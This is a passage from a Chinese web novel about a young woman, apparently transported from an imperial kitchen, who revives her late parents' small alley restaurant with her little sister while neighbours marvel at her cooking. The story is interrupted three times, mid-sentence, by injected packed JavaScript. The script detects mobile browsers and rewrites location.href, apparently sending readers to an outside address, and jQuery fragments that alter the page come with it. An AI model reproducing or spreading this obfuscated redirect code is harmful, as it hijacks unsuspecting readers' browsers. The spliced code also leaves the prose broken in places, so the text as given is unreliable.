咦，这家饭馆看着宽敞明亮不少，明明还是一样的桌椅，难道是转让了？ 夏雨看店里坐了好几桌客人，空气里弥漫着股说不清道不明的香味。 她拉住要去给客人送餐的唐玉，“你好，请问这里是换老板了吗？” 猜到眼前小姑娘可能是老顾客，唐玉先去给客人把菜上了。 回来笑着解释，“我父母不在了，我是他们的女儿。” 夏雨忽然张大了嘴，有一瞬间悲怆。 她听闻这家饭馆的夫妻俩几个月前不幸去世了，留下两个女儿艰难度日。 “给我炒个面吧”，夏雨哽咽了下，指着小黑板上的字。 她看到了小黑板上的菜品和价格。 番茄炒蛋盖浇饭4元，黄瓜炒火腿肠盖浇饭5元，炒面2元。 鼻尖弥漫着浓郁的饭菜香，夏雨找好位置坐下。这里的桌椅看着虽然旧，但很干净，就连墙面都没有油渍。 她看向厨房方向，老板在开火，给铁锅加热后，用锅铲倒入小块白色的猪油，油滋滋作响的声音传来。 老板用白瓷圆碗盛的炒面，大火现炒香味就是浓。 夏雨完全被吸引了，连炒面什么时候端过来的都不知道。 “你的炒面好了，请慢用”，唐玉说完，然后走开。 “姐姐，你的炒面好了”，门口的小孩也就是唐可儿走过来提醒她。 刚出锅的炒面泛着诱人的油光，香味扑鼻而来。 夏雨想着正饿了，立马拿起筷子。 这炒面里放了青菜，火腿还有豆芽等，食材很丰富。 呼了几口气，她卷起一大坨面送进嘴里，“嘶……真烫，但真的好香！” 面条是很有韧性的那种，不容易断，带着点米香，豆芽爽脆，火腿咸香，还有青菜清脆解腻，能尝到一点点甜。 夏雨眼前一亮，觉得好惊艳。 这家饭馆老板的女儿是不是去精进厨艺了？炒面的口感和她以前吃过的大不相同，不干不腻，非常香口。 桌上老板放了小碗辣椒酱，那红艳艳的，看着让人很有食欲。她挖了小勺辣椒酱搭在炒面上，担心太辣吃不下，等把炒面和辣椒酱搅拌一二，她闻了闻，嘴里不断分泌唾沫。 吃起来面条变得又香又辣，但不呛嗓子，很过瘾的那种辣。 唐可儿在收拾脏碗筷，回头看见夏雨的反应。这个姐姐肯定也喜欢姐姐做的炒面，看她一脸满足。 果然没有人会觉得姐姐做的东西难吃！ 夏雨三下五除二吃完一碗，有些怕会肚子胀。 但看着肚子鼓起来，很是满足。 付好钱，夏雨问：“老板，你家的炒面能打包带走吗？” 这是今天第一位需要打包带走的客人，想起原身父母留下来的一叠打包盒。 “有的，马上把炒面给你打包好。” 最后夏雨心满意足打包一份炒面带走。 她妈打麻将上瘾了，肯定还没吃饭。 待客人离开，唐玉去厨房把脏碗筷洗了，而小孩爬上椅子，跪在上面，擦着桌子，还挺认真的。 唐玉洗完碗出来，看到小孩这么乖懂事，夸了她几句。 小孩不经夸，顿时逗的咯咯笑。 夏雨脚步欢快回到家，夏母抬头看了她眼，“闺女你笑得这么开心，遇到什么好事了？” “妈，我怕你饿肚子，给你打包了份炒面带回来“，她把炒面放桌上，然后进屋休息。 一听“炒面”，夏母皱起眉头，她不喜欢那种油乎乎的面，还是用打包盒装着。 夏母看都没看一眼。 牌友倒是打趣道，“夏姐，你这女儿倒孝顺，担心你饿肚子，打包了吃食带回来。” “这炒面趁热吃味道最好，夏姐你赶紧尝尝”，另一个牌友说。 “行吧，我尝尝看味道怎么样”，夏母打开袋子。 拿起筷子尝了一口，眼睛顿时睁大了。 面条表面泛着诱人的油光，韧性十足，里面的豆芽脆生，火腿偏咸，但味道不错，连青菜都清脆爽口。 吃到后面，炒面也不腻。 夏母的第一反应是：难道饭馆换老板了？ “夏姐，你闺女给你带的哪家的炒面？”有牌友忍不住问。 一股油香混合着面香的香味扑面而来。 几个牌友看夏母吃这么香，默默咽口水。 “就巷子里那家饭馆。” 巷子里的饭馆，不就只有唐家饭馆吗？ 几人打麻将，每次打到大中午，懒得回去吃，还点过唐家饭馆的盖浇饭。 但他家饭菜味道一向平平无奇，是换老板，还是换厨子了？ 下次她们去唐家饭馆看看。 夏母可不管她们在想什么，正大快朵颐。 她夹起热气腾腾的面条，里面有豆芽有火腿，配菜丰富，一筷子吃起来弹牙又脆爽，很是过瘾。 和底下的酱汁搅拌几下，面条很是入味，不干也不怎么腻。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501320|202751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这和她以前吃过的炒面好不同，之前的炒面要不是太油乎乎，吃了几口想吐，要不就是太干巴，不怎么入味。 夏母觉得这才是正宗的炒面，她以前吃的炒面算浪费钱了！ 这家的炒面还没一点糊味，吃着夏母脸上很自然浮现出笑意。 夏雨去纺织厂继续上班。 院子里恢复了安静，夏母看到她出来，笑得合不拢嘴， “闺女，你带回来的炒面妈全吃光了，味道真不错。” “那当然了”，夏雨很自豪道，她想起那个年轻又温柔的老板，能开店果然有两把刷子！ 唐玉在门前洗脏碗，必须用热水洗，才能洗干净。 小孩在一旁给她端着干净的碗筷，送去厨房。 这时，房东提着串葡萄经过，“洗碗呢，小玉，今天饭馆生意怎么样？” 不等她提醒，唐可儿乖乖叫人，“姐姐。” 房东故意板着脸道，“可儿，我可比你姐姐还大几岁，叫阿姨才对。” 房东娃娃脸，虽然比唐玉大几岁，但两人站在一起，确实看着差不多大。 “好了姐，你别吓唬她”，唐玉看小孩身体畏缩了下，想来小孩心里还是有阴影。 房东也赶紧道，“好了，可儿，刚才阿姨逗了，给你们带了葡萄吃。” “谢谢姨”，手上多了串葡萄，小孩腼腆地笑道。 “姐，饭馆今天生意还可以”，唐玉停下手中活说。 “那不错，小玉，我能帮你们的不多，之前租客也是开店，但生意不好跑了，留下些锅碗瓢盆，我是用不着，看你们这边还需要吗？”房东看姐妹俩不容易，一个比一个瘦。 “实在太谢谢姐了，我们饭馆很需要”，唐玉赶紧道。 饭馆锅碗瓢盆客人多的时候，根本不够用。 房东此时这么说，不亚于雪中送炭。 房东：“改天我把那些锅碗瓢盆收拾好，送来饭馆。” “姐，你吃午饭了吗？要不要进饭馆，我给你炒几个菜？”唐玉很是感激，觉得她欠人情了。 “不用不用，我吃过了，下次吧。” 等把碗筷洗好，唐玉姐妹俩在堂屋趴着桌子休息。 原身这具身体实在不够强壮，她忙了一上午，就感到累了。 想当初她和御膳房几个师傅，皇帝为宴请周边几个小国使者，他们连轴转做了几十道吃食，唐玉精气神依旧很好。 看来还是得锻炼，不然干个十天半个月，她指不定会累趴下。 晚上，唐玉清点了下今天收入，客流量集中在中午和晚上两个饭点时间段，店里有客人点餐，就很容易吸引到过路的行人进来。 比如铁锅炒面的香气能飘出去老远，轻易勾起人的食欲。 她把零零散散的票子清点了下，今天总共进账96，差一点一百，除去大头食材费，也能赚个五十多。 第一天能赚五十多，唐玉挺满意了。 毕竟饭馆卖的盖浇饭和炒面很平价，不像御膳房有些菜肴，真可谓是千金难求。 唐玉把钱收好，她要给小孩交学费，还想买辆自行车。 5. 第5章 翌日，鸡叫第二声唐玉就醒了，窗前结了层雾气。 她去菜市场一袋子丝瓜，又去猪肉摊称了点猪肉。 摊主对唐玉有印象，“小姑娘，又来光顾我的生意了。” “老板，麻烦给我从这里割两斤肉”，唐玉看中了块肥瘦相间的五花肉，用手比划。 “好咧”，摊主手法麻利，称了下肉，“刚好两斤。” 回到饭馆，发现巷子里的人们很悠闲。 老人在河边下着象棋，还有在打着太极，小孩三三两两玩着跳绳筋。 唐玉收回目光，察觉到小孩紧紧看着那边。 “可儿，去和他们玩吧”，原身妹妹从小玩伴不多。 “可儿不喜欢玩耍”，即使面露渴望，唐可儿还是摇摇头，她要帮姐姐干活，不能把心思放在玩上。 小孩子向来玩性大，很是活泼。 唐玉猜到了小孩的心思，感慨她太懂事了。 只好说，“姐姐暂时不用帮忙，可儿去玩会儿不耽误什么。” “那姐姐可儿去玩了”，小孩眼里有了光芒，虽然还很害羞。 “注意安全”，唐玉在后面叮嘱道。 “知道啦~” 唐玉把从菜市场买的丝瓜刨皮切块，还有猪肉剁碎成肉沫，拿来个锅，洗了两道后，端上灶台，丝瓜和肉沫放进去加清水，开火煮。 昨天有客人反应，无论盖浇饭还是炒面吃到后面口渴，想喝水。 唐玉就炖了丝瓜汤，之后端去前面。 接着她备起其他食材，客人一来，方便直接炒好出餐。 锅里的丝瓜汤煮的差不多了，她关火，过了几分钟放些碎葱花。 小孩玩的满头大汗回来，“姐姐这是什么汤？香香的！” “丝瓜汤哦”，唐玉给小孩盛了碗丝瓜汤，“还有些烫，慢点喝。” 吹了好几口气后，唐可儿低头喝了口丝瓜汤，脸颊微微鼓起，“哇，好喝！” 汤鲜鲜的，绿色丝瓜滑滑的，还有肉肉！ 脸都快埋进了碗里。 客人多了起来，唐玉点餐炒菜，而唐可儿收银收拾碗筷，两人分工明确，显得有条不紊。 夏家，马上是中午了。 天气又闷又热，夏母和几个牌友打的热火朝天。 想起闺女马上回来，她还没弄午饭。 “夏海，去买三份炒面”，瞥见儿子回来，她塞了钱给他，吩咐他去买午饭。 “对了，去巷口的饭馆买”，夏母一心扑在牌桌上，随口说了句。 攥着钱，夏海没太听清楚，早就不耐烦跑出了家。 大概心情好，夏母赢了好几把，脸上笑容多了起来。 没过多久，三份炒面夏海买回来了。 炒面还送了盒小菜。 夏母皱起眉头，打开袋子。 拿起筷子尝了口，“这味道不对啊。” 面条、青菜、豆芽、火腿和鸡蛋片都有，但吃着和昨天不是一个味！ 她吃了口放下筷子，“夏海，你这炒面在哪买的？” “就烧饼店旁边家饭馆”，夏海扒拉着饭盒里的炒面。 味道不怎么样，但能填饱肚子就行。 夏母看他吃那么起劲，很是无语。 巷口的唐家饭馆边可没什么烧饼店，这孩子买错了！ 连几个牌友都喃喃道，“夏姐，这炒面味道不对啊，闻着不像昨天那家！” “妈，你怎么不吃？！”夏海呆头呆脑问了句，他还没吃饱。 夏母将饭盒扔给他，“我这份炒面给你了。” 气都被气饱了，等牌局结束，她去唐家饭馆吃得了。 唐玉不知道因为一碗炒面夏家人差点吵起来。 她和小孩把饭馆收拾干净。 然后去厨房做两人的饭菜。 一荤一素，还有煮的丝瓜汤，够两人吃了。 唐可儿向来很满足，“哇，好丰盛，有肉有蛋还有青菜。” 唐玉摸了下她脑袋，“去洗手吃饭。” 她尝了下做的丝瓜汤，不咸不淡，鲜香四溢，中规中矩，没有出错。 吃过午饭，唐玉在擦桌子。 房东笑呵呵的声音传来，“还在忙呢，小玉，店里生意怎么样？” “还行”，唐玉笑着道。 “你店里今天有什么吃的？我还没吃饭。” “盖浇饭和炒面都有。” 闻言，房东大手一挥，“那就给我来个炒面。” 天气太热了，她不想吃饭。 “姨，丝瓜汤”，房东刚坐下不久，唐可儿端来碗丝瓜汤，放到她面前。 “我没点丝瓜汤啊？”房东疑惑道。 唐可儿解释，“姐姐说丝瓜汤不收钱，客人都可以喝。” “那谢谢可儿了”，房东很是高兴。 碗里丝瓜翠绿，唐玉买的是最嫩的丝瓜，汤鲜亮清澈，闻着就非常香。 房东拿起勺子喝了口汤，一道清凉划过燥热的胸口，好消暑，肉沫颗粒分明，带着股鲜香，而丝瓜滑嫩，还有点鲜甜。 不收钱的丝瓜汤用料真实，实在很好喝！ 唐玉把炒好的面端上来，这火腿炒面看着诱人，卖相好，热气中飘出股香味。 “看着就不错”，房东感慨，“小玉，你这煮的丝瓜汤真解热消暑。” “我丈夫非要在家里吃，他没有口福了”，随后房东得意道。 唐玉哈哈笑道，“桌上还有丝瓜汤，喜欢可以去打。” “行吧”，房东将丝瓜汤喝光，目光落在炒面上。 “我吃完再付钱”，她打趣道。 唐玉当即道，“钱就不用了，你平时对我们姐妹们照顾颇多，这顿就当我请的。” “哪有这个说法，钱还是要付的”，房东拖长声音，但她还是很高兴。 见她执意如此，唐玉没有再多说。 房东夹起坨面条散热，淡黄色的面条表面泛着层油光，豆芽青菜还有火腿夹杂在其中，一口下去，说不出来的满足。 够香，但完全不腻，清脆爽口。 看着眼前的炒面，刚出锅的炒面正热乎，酱油与面条上的葱花激发出层层酱香，等尝起来，面条入口，油香味越来越浓，让她舌尖一颤。 她唯一觉得不好的是份量少了点，眼看着炒面见底，她仍然没有吃很饱。 再来一碗，可能也吃的下。 “你爸妈看到你把炒面做的这么好，肯定很欣慰”，房东忍不住道。 “不管怎么样，我都会把爸妈的饭馆开下去”，唐玉认真道。 “饭馆做早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501321|202751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭吗？”房东问。 她起的早，每次爱去广场逛圈回来，大多时候在路上把早饭解决了。 “只弄中晚饭，之后会看情况。” 唐玉观察过，这里的人们早上吃面或喝粥的多。 “以后饭馆弄早饭了，记得来告诉我声”，她就来饭馆吃，省得去吃包子或吃面。 下午快两点，她们终于有时间休息。 唐玉眯了会儿，看了眼小孩的头发太长了，挡住灵动的眉眼，显得有几分阴郁。 她小心问道，“可儿，姐姐带你去剪头发好不好？” 唐可儿正在犹豫，她不喜欢剪头发。 但怕姐姐不开心，最终点了点头。 她带小孩去理发店。 店主：“这么长的头发都挡住视线了，怎么现在才来剪！” 闻言，唐玉没吭声，原身作为姐姐，有时候的确不太负责。 店主把小孩的头发剪短，还给她做了个简单的发型修饰。 小孩没有额前碎发遮挡，露出明媚灵动的五官。 可儿其实长的很可爱好看，难怪能当话本子里的主角。 小孩照着镜子，眨巴眨巴眼。 “谁家妹妹这么可爱”，唐玉忍不住夸道。 “姐姐的哦”，小孩声音小小道，但看的出来她很高兴。 唐玉一把抱住她，“刚才可儿很勇敢，剪头发时不哭不闹。” 小孩笑得天真无邪，褪去往日的阴郁。 剪好头发，唐玉去集市买了个西瓜，带小孩回饭馆。 她把西瓜放进冷水，只可惜这里没有冰。 不然把放到冰里的西瓜开了，味道甜还沁凉，很适合大夏天吃。 唐玉拿出西瓜切了，切成小块。 小孩前两天喊疼掉了牙齿，不太好吃大块西瓜。 “吃西瓜了”，她去门口喊可儿。 小孩蹦蹦跳跳跑过来，拿起块西瓜啃起来，“姐姐也吃。” “嗯。” 唐玉吃了两块，擦净嘴。 小孩去练字。 她瞥见筐里几条黄瓜，正嫩着。 夏天时御膳房他们喜欢做些凉菜，食材焯过水后，放些佐料，味道爽口解腻。 唐玉把木耳用热水泡开，木耳太大块，撕开用，拿来黄瓜用刀背拍碎块，大蒜和红辣椒都切碎。 木耳放进锅里焯水，生抽盐蒜末和辣椒碎调个碗底。 她拿来双干净的筷子，准备尝了下味。 “有人吗？” 进门的姑娘穿着俏丽的裙子，在门口探头探脑。 “在呢”，她回了句。 进门的姑娘也就是夏雨，中午胡乱塞了几口，那炒面根本不是她熟悉的味道，于是一下班，跑来唐家饭馆。 “老板，炒面还有吗？” “有的，稍等下”，她先把凉菜做了，拿去给小孩尝尝。 “老板，这是什么？”夏雨看到老板端来的菜问。 “自己做着好玩，做的凉菜呢。” “那还给我来份凉菜”，凉菜里有黄瓜有木耳还有红艳艳的辣椒，搭配在一起看着挺馋人。 菜单上没有凉菜，唐玉心血来潮做的，“算了，这份凉菜我送你。” “如果觉得哪里不好吃，可以跟我说。” 6. 第6章 没想到还送凉菜，夏雨又惊又喜。 回去她要大肆在亲朋好友面前说，这家饭馆有多么实惠，老板娘多么温柔可亲。 老板端上来满满一碗凉菜，好实在。 夏雨都不好意思了，“太谢谢了老板。” 小孩爬到椅子上，吃起凉菜来，脆爽的声音传来。 等唐玉一转身，夏雨立马拿起筷子。 碗里木耳和黄瓜搭配，看着奇怪，她夹起一大筷，满满的黄瓜木耳往嘴里塞。 酸辣爽口，其中黄瓜脆口清爽，木耳脆爽，辣劲很足，非常香。 这黄瓜木耳里夹杂着油香，夏雨了。 唐可儿嚼着木耳，脆生生的，越嚼越香，还有黄瓜吃起来很清脆。 看到夏雨的反应，心里很高兴。这个姐姐也喜欢吃凉菜呢。 夏雨吃菜不带一点歇，她以前吃过的凉菜只有拍黄瓜和凉拌西红柿，味道太单一。 但眼前这道凉菜，却让她惊叹不已。 放了蒜末和辣椒碎，调料味不重，更多是食材的原汁原味。 夏雨风卷残云吃完凉菜，还有些后悔吃太快了，没有细细品尝。 很快，老板端来炒面。 “凉菜合你口味吗？”唐玉看到光底的碗问。 “很合胃口，老板，明天有凉菜卖吗？”要不是老板做的凉菜少，夏雨非要出钱买一份，带回家吃。 “看情况吧”，唐玉笑着道。 她考虑下明天要不要加道凉菜卖，还有准备的份量。 夏雨在心里疯狂祈祷，明天店里千万要有凉菜，“老板，拜托明天店里一起要卖凉菜。” 夏雨在店里待了好久，吃完炒面才离开。 “可儿，刚才的凉菜好吃吗？”她问小孩。 “好吃~”，唐可儿舔了下手指道，“但姐姐没有吃。” “下次姐姐就能吃到了”，唐玉安抚她。 唐玉出去倒垃圾，扑面而来就是股热浪。 “饭馆的老板换人了？看着有点眼熟。” 枇杷树下，两老头在下棋，厮杀得很激烈。 王大爷不以为然，翘起嘴，“这小丫头片子，能翻起什么风浪来，听说这家饭馆快开不下去了。” “话不可以说，人不可貌相嘛，说不定那丫头有真本事呢”，周大爷忍不住道。 “行，那我们晚上去饭馆吃。” “你不回家？”周大爷接的道，“我老伴儿喊我回去吃晚饭，别在外面浪费钱了。” “我请你吃行吧”，王大爷誓要和好友争个输赢。 听到这话，周大爷没说话，随他去了。 唐玉倒完垃圾，洗好手。 把大米淘好，倒入清水，上灶台煮。 出来一看，小孩被热的脸红。 见此，唐玉去小卖部买了两支冰棍，她们姐妹一人一支。 唐可儿舔着凉嗖嗖的冰棍，露出笑意，“真凉！” 唐玉也很是放松，这支冰棍就当犒劳自己了。 浑身瞬间好像不热了。 店里来了生意，她吃完冰棍，上前招呼客人。 “你们店里有什么吃的？”来人正是王大爷他们，下完棋他们直奔饭馆。 “有面也有饭。” “我们要吃饭，有什么菜？”王大爷两人有老花，看不大清小黑板的字。 “番茄炒蛋盖浇饭和黄瓜炒火腿盖浇饭”，唐玉回道。 “来个黄瓜炒火腿盖浇饭吧”，两人一前一后道。 番茄炒蛋听着酸酸甜甜，不合他俩口味。 唐玉收了钱后，打起精神去厨房。 正值夏天，黄瓜唐玉买的最脆嫩那种，她在摊前挑的些长得些规整的，还跟摊主讨价还价，最后买到了心仪的一袋黄瓜。 黄瓜、火腿等食材提前备好。 唐玉打开煤气罐，开火热锅，她用的都是猪油，炒出来的菜很香。 “这店里收拾的挺干净”，王大爷环顾一圈店里，发出由衷感慨。 两人没少下馆子，但像桌椅能如此一尘不染的，没几家。 周大爷说，“小姑娘开的店卫生，我们吃着也放心。” “卫生是卫生，味道至少要有一般”，王大爷不太相信这家饭馆的味道，老板看上去太年轻了。 唐玉把两份盖浇饭端上来，这碗黄瓜炒火腿卖相很好，冒出的香气十分有层次感。 “闻着挺香”，周大爷说，“老王，你赶紧尝尝。” 王大爷心想，一份盖浇饭而已，家常菜味道应该差不到哪去。 目光从盖浇饭上移开，“尝尝就尝尝，不好吃要她给我们退钱。” 周大爷乐呵呵道，“退钱就算了，人家小姑娘开饭馆也不容易。” 闻着盖浇饭的香味，周大爷有了食欲。 他夹起片黄瓜，送进嘴里，反正黄瓜再怎么做很难难吃。 入口炒过的黄瓜脆嫩，带着股浓浓的油香，吃着很清新。 就好像晒了阵太阳，回到家喝水，浑身都舒坦了。 再来片火腿，有股咸香，火腿肉质紧实，舌尖尽是满满的肉香。 周大爷看着菜下面的米饭，浸润着油亮，吃起来很香。 “有这么好吃？”看好友大口吃着米饭，还没动筷的周大爷问。 “好吃”，周大爷没有放下筷子，“米饭油润润的，而黄瓜清爽，火腿咸香四溢，吃起来特别下饭。” 王大爷听了有些馋了，眼前的盖浇饭火腿黄瓜切的薄厚适宜，刀功过关，拔开菜一看，下面的米饭泛着层诱人的油亮。 他夹起撮米饭，米香油也香，米饭软糯香甜。 等王大爷尝到黄瓜火腿的味道，眼睛慢慢瞪大，连吃好几口话都有些不利索，“是……挺好吃。” 年纪一大，他嘴巴就没什么滋味。但这黄瓜嫩又脆，汁水在嘴里炸开，火腿肉香中带着咸香，让他有一种惊叹的感觉。 这时候再来口香喷喷的米饭，香迷糊人了。 “能开店做生意，果然不简单”，王大爷有些羞愧。 “都说了话别说这么满，那老板看着就是会做事的”，周大爷说。 两老头你一言我一语，说起来。 王大爷先吃完饭，家里老伴还在等他，他去前台要了份黄瓜炒火腿盖浇饭，打包带回去。 “你不打包份带回去？”他问周大爷。 周大爷擦着嘴摇头，“她舍不得，我下馆子打包份菜回去，她肯定会更生气。” 王大爷结了账，心满意足提着盖浇饭离开。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501322|202751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 王家。 “还知道回来？去哪里鬼混了？！” 见王大爷摸黑回来，王奶奶指着他骂。 “刚和好友下馆子去了，给你打包带的菜”，王大爷把打包的盖浇饭放桌上。 “我不吃，你肯定是和姓周的下完棋，然后去下馆子了吧”，王奶奶摇着蒲扇，冷笑道。 “好了好了，是我不好，你赶紧吃饭”，老伴儿正在气头上，王大爷放软态度。 “再不吃饭菜该凉了，要去锅里热下”，他又说。 “算了”，王奶奶叹了口气，懒得为这种事生气。 可能是太饿了，闻着打包回来的盖浇饭还蛮香。 王奶奶先吃了口菜，清清爽爽的感觉，不会觉得油腻，确实比一般饭馆的盖浇饭好吃的多，“应该是我太饿了，竟然觉得很好吃。” 菜香中还带着油香，来上几口米饭，非常美味。 王大爷这时笑着说，“老伴，还得我会买吧，这家店的盖浇饭我和老周吃了，都觉得很可以。” 一副求夸的模样。 王奶奶没脸看，白了他一眼，“盖浇饭哪里买的？” 周围有点名气的饭馆，她和几个姐妹都去吃过，但这份盖浇饭味道的确没尝过。 “就我们巷子口的饭馆，叫唐家饭馆”，王大爷想了下。 确实没去吃过，唐家饭馆嘛，王奶奶默不作声记下。 唐玉把饭馆打扫干净，眼看快八点了。 她马上能和小孩回家了。 后面又来了几个客人，点的盖浇饭。 唐玉去做菜，然后把脏碗筷收拾了。 至于每天的剩饭剩菜，她去喂巷子里的猫猫狗狗。 小孩一点不嫌猫猫脏污，摸着它们的脑袋，“小猫要和我一样，多吃饭才能长大。” 看到这一幕，唐玉笑了笑。 收拾好一切，她牵着小孩回家。 晚上洗漱过后，唐玉在算账，小孩跑过来。 头发还湿漉漉的。 她拿过帕子，给小孩擦起头发，“头发没干去睡觉，容易头痛。” 唐可儿听着姐姐的话，只觉得姐姐好温柔。 “可儿，这两天跟着姐姐累不累？”小孩和她忙里忙外，客人多了起来，也没见她喊声累。 “姐姐，可儿不累哦”，小孩的小手放进她大手里。 眼里湿漉漉看着她。 唐玉：“姐姐就随便问一句，要是可儿累了，跟姐姐说。” 她想让小孩在家歇息下。 “知道啦”，小孩奶声奶气道，冲她撒娇。 有个妹妹还挺新奇，但唐玉不排斥这种感觉。 第二天，唐玉吃了早饭，就赶紧出门。 她今天要买的食材很多。 唐玉本想买些黄瓜，但走了好几家，都发现不新鲜。 肉摊冷白的鸡爪，却吸引了她的目光。 她上前看了下鸡爪，色泽很新鲜，于是问，“老板，鸡爪怎么卖？” 闻言，摊主很是诧异，现在的人都认为鸡爪没肉，没什么吃的，不乐意买。 每天堆积下来的鸡爪，只能倒垃圾桶。 “姑娘，鸡爪五毛一斤，你看怎么样？”摊主不敢说贵了怕没人要，往低报。 7. 第7章 唐玉要了十几斤鸡爪，完全不担心卖不出去。 毕竟她有一道拿手好菜凉拌鸡爪，上至皇上娘娘，下至宫女太监，尝过的无一不称好。 “小姑娘，你买这么多鸡爪家里是开店的？”摊主想到只有这种可能性。 唐玉没有丝毫掩瞒，“开在桂花巷那边。” “有机会我和家里人去尝尝”，摊主笑道。 回到饭馆，唐玉把鸡爪处理了下，剪去其指甲。 姜和大蒜切片，大蒜再剁成蒜末，辣椒和香菜剁碎备用。 唐玉处理好鸡爪，腾出手做今天的盖浇饭。 她昨晚定下的菜单没有凉拌鸡爪，去小黑板写上。 鸡爪下冷水锅，加入葱姜，倒料酒煮。煮得差不多，唐玉捞出鸡爪过凉水，加入生抽和酱油等抓拌均匀，腌制一会儿。 趁此时间唐玉调了个碗底，适量的芝麻，辣椒粉和香油倒进去。然后起锅把油烧热，加入蒜片，八角，桂皮，香叶等，烧滚的油倒入调的碗底。 再把辣椒油浇在鸡爪上，滋啦一声，香味散开，加入香菜末，蒜末和辣椒丁，她用干净的筷子搅拌均匀。 唐玉被香辣到有些睁不开眼，缓了会儿，才把鸡爪端出去。 小孩面露喜色问，“姐姐，这又是做了什么好吃的？” “凉拌鸡爪哦。” 唐可儿屁颠屁颠跑去洗手，连筷子都没用，抓起个鸡爪啃起来。 起初鸡爪有些难啃，毕竟肉没有多少，先是一股酸味，小孩脸一皱，“好酸。” 鸡爪为保证入味，唐玉放了陈醋。 鸡爪虽然难嚼，但越嚼越香，小孩还没吃过鸡爪，吃过一次后爱上了这味道。 整条巷子只有唐家这家饭馆，街道两边居民懒得弄饭，就爱来下馆子。 房东拖着上个租客留下来的锅碗瓢盆。 听到外面传来的动静，唐玉跑过来看。 “太谢谢姐了，进店尝尝我做的鸡爪。” “那我今天有口福了”，房东笑道，把一袋锅碗瓢盆拖进屋里。 唐玉端来凉拌鸡爪，笑眯眯说，“尝尝。” 只见鸡爪色泽鲜亮，表皮很有弹性，底下汤汁是诱人的酱色，香菜和辣椒的点缀，看着让人很有食欲。 房东看了眼，忍不住咽口水。 这时，唐可儿跑过来，仰头对她说，“姨，我姐姐做的鸡爪可好吃了~” “嗯，姨知道呢。” 房东对唐玉的手艺很放心。 拿起筷子夹了个鸡爪，鸡爪很弹牙，吮吸下沁出汤汁，酸辣爽口，有股浓郁的葱香。 房东精神一振，啃去鸡爪扔了骨头，她又夹了个鸡爪。 酸辣的味道在嘴里绽开，原本不爱吃酸口的房东有时说不出话来。 唐可儿闻到酸辣的鸡爪香，看房东吃这么香，很是高兴。 房东抹了下嘴，“小玉，你做的鸡爪太清爽了。”虽然吃着辣，但感觉很凉爽。 凉拌鸡爪不是热菜，很适合大夏天吃。 “姐，如果你觉得太酸或太辣了跟我说”，唐玉说。 “好。” 房东啃着鸡爪，紧皱的眉头顿时舒展开来。 到后面连筷子都没用，拿手啃起来。 其他客人看到这一幕，不约而同咽了口唾沫。 再看点的盖浇饭，味道挺好但是不是淡了点。 虽然饭菜份量不少，但味道不够重不辣，吃着平淡了些。 然后去问老板，“要份鸡爪。” 他指着房东在吃的鸡爪，看着鲜亮无比。 房东恨不得将剩下的鸡爪带回家慢慢啃。 其他家的鸡爪没有这么又香又辣的味道！ 房东啃完最后一个，双手满是油，但她脸上带笑。 离开的时候，房东带了份凉拌鸡爪走，唐玉不想收钱，房东利落把钱塞到她手里。 鸡爪做得那么好吃，房东可不想她亏本！ 夏雨带着夏母来饭馆，吃午饭。 “老板，昨天的凉菜还有吗？”她问唐玉。 没等唐玉说话，夏母：“小雨，跟老板说什么悄悄话呢？” “妈，我告诉你，昨天下午饭馆有凉菜，老板免费请我吃，味道可好了！”想到昨天吃的凉菜，夏雨止不住地笑。 夏母“啊”了声，“老板这么好啊，太感谢了。” “反正多做了点，给客人尝尝”，唐玉接着道，“姑娘，我们店今天没有凉菜。” “但有凉拌鸡爪，你看需要吗？” 鸡爪，夏母当即皱起眉，鸡爪有什么好啃的。 “不”还没说口，夏雨点点头道，“来份凉拌鸡爪，老板。” “闺女不是妈说，你是不是嫌钱多，鸡爪有什么好吃的！”夏母拉着她的手斥责道。 夏雨很有信心，“妈，你听我的准没错，这家饭馆的鸡爪和其他家的味道肯定不同。” 不都是鸡爪，能有什么不同！ 夏母撇撇嘴，不以为然，但还是和夏雨等起来。 唐玉先端上来凉拌鸡瓜，用白瓷大盘子装的。 夏母没打算动筷，不想看到这令人糟心的菜。 “妈，你不吃？”夏雨问了句。 凉拌鸡爪点都点了，她妈干嘛不吃啊。 “不吃，我不喜欢吃鸡爪”，夏母很是冷淡道。 “那我就不客气了，妈。” 夏雨早就眼馋鸡爪很久，这下终于能动筷了。 入口的鸡爪酸爽入味，皮很弹滑，鸡爪咀嚼几下，就脱骨，一股浓浓的料汁在嘴里迸发，既有油香也有蒜香。平常夏雨最讨厌吃蒜，嫌味道重，但这里的蒜味道恰到好处，混合着油香，简直是舌尖的享受。 夏母其实有些饿了，盖浇饭怎么还没上来？ 被夏雨嗦啃鸡爪的动静吸引，她看过去。 